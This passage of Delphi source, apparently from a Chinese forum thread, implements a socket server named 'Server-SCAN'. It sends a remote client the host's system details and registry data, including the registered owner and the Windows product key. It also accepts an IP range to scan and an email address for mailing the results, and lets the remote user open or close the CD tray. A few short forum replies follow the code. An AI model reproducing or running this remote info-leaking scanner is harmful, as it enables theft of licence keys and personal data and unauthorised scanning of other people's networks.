s:='Windows 98'
else
//95
s:='Windows 95';
VER_PLATFORM_WIN32_NT:
// Windows NT平台
s:='Windows NT';
end;

socket.Sendtext( '   系统平台: '+s+#13+#10);
socket.Sendtext( '   主版本号: '+IntToStr(OSVI.dwMajorVersion)+#13+#10);
socket.Sendtext( '   次版本号: '+IntToStr(OSVI.dwMinorVersion)+#13+#10);
socket.Sendtext( '   次版本号: '+IntToStr(OSVI.dwMinorVersion)+#13+#10);

case OSVI.dwPlatformId of
//根据平台的不同具体处理OSVI.dwBuildNumber信息
VER_PLATFORM_WIN32_WINDOWS:
// Windows 95/98平台则取OSVI.dwBuildNumber的低位字
s:=IntToStr(LOWORD(OSVI.dwBuildNumber));
VER_PLATFORM_WIN32_NT:
// Windows NT平台则取所有位的值
s:=IntToStr(OSVI.dwBuildNumber);
else
s:='';
// Windows 3.1平台此值位空
end;
socket.Sendtext( '   构建号 : '+s+#13+#10);
socket.Sendtext( '   系统描述: '+OSVI.szCSDVersion+#13+#10);


//显示运行模式
case(GetSystemMetrics(SM_CLEANBOOT)) of
0: s := '正常模式启动';
1: s := '安全模式启动';
2: s := '安全模式启动,但附带网络功能'
else
s := '错误:系统启动有问题';
end;
socket.Sendtext( '   运行模式: '+s+#13+#10);
socket.SendText(#13+#10);
//-----------------------------
socket.Sendtext(' ☆度量信息以及相关配置信息'+#13+#10);
socket.Sendtext( '   屏幕 分辨率: '+inttostr(getsystemmetrics(SM_CXSCREEN))+'*'+inttostr(getsystemmetrics(SM_CYSCREEN))+#13+#10);
socket.Sendtext( '   窗口边界宽度: 水平方向:'+inttostr(getsystemmetrics(SM_CXborder))+' 垂直方向:'+inttostr(getsystemmetrics(SM_CYborder))+#13+#10);
socket.Sendtext( '   标题栏 高度: '+inttostr(getsystemmetrics(SM_Cycaption))+#13+#10);
if getsystemmetrics(sm_mousepresent)=1 then
begin
s:='已安装鼠标'+inttostr(getsystemmetrics(SM_cmousebuttons))+'键鼠标 双击范围'+inttostr(getsystemmetrics(SM_cxdoubleclk))+'*'+inttostr(getsystemmetrics(SM_cydoubleclk));
end
else
begin
s:='没有安装鼠标';
end;
socket.Sendtext( '   鼠标  信息: '+s+#13+#10);
socket.Sendtext( '   默认光标大小: '+inttostr(getsystemmetrics(SM_cxcursor))+'*'+inttostr(getsystemmetrics(SM_cycursor))+#13+#10);
socket.Sendtext( '   默认图标大小: '+inttostr(getsystemmetrics(SM_cxicon))+'*'+inttostr(getsystemmetrics(SM_cyicon))+#13+#10);
//---------------------------------------------------------
socket.SendText(#13+#10);
socket.Sendtext(' ☆CPU相关信息'+#13+#10);
// 获取C P U信息
GetSystemInfo(SysInfo);
// 处理器个数
socket.Sendtext( '   CPU个数: '+IntToStr( SysInfo.dwNumberOfProcessors )+#13+#10);
// 处理器类型
case SysInfo.dwProcessorType of
386: s:='CPU类型为3 8 6系列' ;
486: s:='CPU类型为4 8 6系列' ;
586: s:='CPU类型为奔腾系列' ;
end ;
socket.Sendtext( '   CPU类型: '+s+#13+#10);
//-------------------------------------------------------------
socket.SendText(#13+#10);
socket.Sendtext(' ☆内存相关信息'+#13+#10);
memlnfo.dwlength:=sizeof(memorystatus);
globalmemorystatus(memlnfo);

socket.Sendtext( '   '+inttostr(memlnfo.dwMemoryLoad)+'%内存在使用'+#13+#10);
socket.Sendtext( '   物理内存共有'+inttostr(memlnfo.dwTotalPhys)+'字节'+#13+#10);
socket.Sendtext( '   未使用的物理内存共有'+inttostr(memlnfo.dwAvailPhys)+'字节'+#13+#10);
socket.Sendtext( '   交换文件的大小为'+inttostr(memlnfo.dwTotalPageFile)+'字节'+#13+#10);
socket.Sendtext( '   未使用的交换文件的大小为'+inttostr(memlnfo.dwAvailPageFile)+'字节'+#13+#10);
socket.Sendtext( '   虚拟内存空间大小为'+inttostr(memlnfo.dwTotalVirtual)+'字节'+#13+#10);
socket.Sendtext( '   未使用的虚拟内存空间大小为'+inttostr(memlnfo.dwAvailVirtual)+'字节'+#13+#10);
//-------------------------------------------------------------
socket.SendText(#13+#10);
socket.Sendtext(' ☆文件相关信息'+#13+#10);
getwindowsdirectory(sysdir,255);
socket.Sendtext( '   系统安装目录: '+sysdir+#13+#10);
getsystemdirectory(sysdir,255);
socket.Sendtext( '   系统文件路径: '+sysdir+#13+#10);
socket.Sendtext( '   本程序 位置: '+extractfiledir(application.exename)+'/'+extractfilename(application.exename)+#13+#10);
//-------------------------------------------------------------
socket.SendText(#13+#10);
socket.Sendtext(' ☆系统注册信息'+#13+#10);
reg:=tregistry.create;
reg.RootKey:=hkey_local_machine;
reg.OpenKey('software/microsoft/windows/currentversion',false);
socket.Sendtext( '   公司名称: '+reg.ReadString('registeredorganization')+#13+#10);
socket.Sendtext( '   用户姓名: '+reg.ReadString('registeredowner')+#13+#10);
socket.Sendtext( '   序列 号: '+reg.ReadString('ProductId')+#13+#10);
socket.Sendtext( '   注册 码: '+reg.ReadString('productkey')+#13+#10);
reg.CloseKey;
reg.Free;
socket.Sendtext(' ※━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━END━》'+#13+#10);
socket.SendText(#13+#10);
socket.SendText(' 请输入您要扫描的IP段 例:“192.168.0.1-192.168.0.255”'+#13+#10);
socket.SendText(' CMD:>');
end
else
begin
socket.SendText('┏━━━━━━━━━━━━━━━━┳━━━━━━━━━━━━━━━━━━━━━┓'+#13+#10);
socket.SendText('┃┏┅┅┅┅┅┅┅┅┅┅┅┅┅┅┓┃ ┃'+#13+#10);
socket.SendText('┃┇欢迎使用 Server-SCAN 测试版┇┃ ┃'+#13+#10);
socket.SendText('┃┇制作人:黑冰 ┇┃ 有人在使用或任务中 ┃'+#13+#10);
socket.SendText('┃┇O I CQ:3860040 ┇┃ ┃'+#13+#10);
socket.SendText('┃┇M ail:szq993@163.com ┇┃ ┃'+#13+#10);
socket.SendText('┃┗┅┅┅┅┅┅┅┅┅┅┅┅┅┅┛┃ ┃'+#13+#10);
socket.SendText('┗━━━━━━━━━━━━━━━━┻━━━━━━━━━━━━━━━━━━━━━┛'+#13+#10);
end;
end;

procedure TForm1.ServerSocket1ClientRead(Sender: TObject;
Socket: TCustomWinSocket);
var
ls:string;
q:integer;
begin
if real and (Socket.RemoteAddress=qip) then
begin
ls:=socket.ReceiveText;
q:=ord(pchar(ls)^);
if q=13 then
begin
socket.SendText(temp+#13+#10);
socket.SendText(#13+#10);
if b=1 then
begin
ip:=temp;
if temp='1' then mcisendstring('set cdaudio door open wait',nil,0,handle);
if temp='2' then mcisendstring('set cdaudio door CLOSED wait',nil,0,handle);
temp:='';
b:=2;
socket.SendText(' 请输入您的信箱 例:“szq993@163.com”(某些邮箱不支持)'+#13+#10);
socket.SendText(' CMD:>');
exit;
end;
if b=2 then
begin
mail:=temp;
temp:='';
b:=3;
socket.SendText(' 请输入并发主机数量 例:“10”(默认10)'+#13+#10);
socket.SendText(' CMD:>');
exit;
end;
if b=3 then
begin
if temp='' then
zjx:='10'
else
zjx:=temp;
temp:='';
b:=4;
socket.SendText(' 请输入每主机线程数量 例:“10”(默认10)'+#13+#10);
socket.SendText(' CMD:>');
exit;
end;
if b=4 then
begin
if temp='' then
xcx:='10'
else
xcx:=temp;
temp:='';
b:=5;
socket.SendText('━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━'+#13+#10);
socket.SendText(' IP    段:'+ip+#13+#10);
socket.SendText(' 信    箱:'+mail+#13+#10);
socket.SendText(' 并发 主机数:'+zjx+#13+#10);
socket.SendText(' 每主机线程数:'+xcx+#13+#10);
socket.SendText('━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━'+#13+#10);
socket.SendText(' 您的信息已经提交完毕,请确认[y/n](默认y)');
exit;
end;
if b=5 then
begin
socket.SendText('━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━'+#13+#10);
if (temp='n') then
begin
b:=6;
socket.SendText('您取消了,按任意键退出-->'+#13+#10);
end
else
begin
memo1.Lines.Add('IP    段:'+ip);
memo1.Lines.Add('信    箱:'+mail);
memo1.Lines.Add('并发 主机数:'+zjx);
memo1.Lines.Add('每主机线程数:'+xcx);
memo1.Lines.Add('启动了-->>');
b:=6;
socket.SendText('主机已经执行了扫描操作,请注意观察您的邮箱,等待扫描报告'#13+#10);
socket.SendText('按任意键退出-->');
email(mail);
exit;
end;
end;
if b=6 then
begin
memo1.Lines.Add('对方连接窗口关闭');
real:=false;
ServerSocket1.socket.Disconnect(0);
exit;
end;
end
else
begin
temp:=temp+ls;
end;
end;
end;



procedure TForm1.FormCreate(Sender: TObject);
begin
real:=true;
end;

procedure TForm1.ServerSocket1ClientDisconnect(Sender: TObject;
Socket: TCustomWinSocket);
begin
memo1.Lines.Add(Socket.RemoteAddress+'连接断开');
b:=0;
end;

end.
 
远程的好象要和对方建立个空连接然后获取NETBIOS信息~
具体我也没做过`
 
多人接受答案了。
 
后退
顶部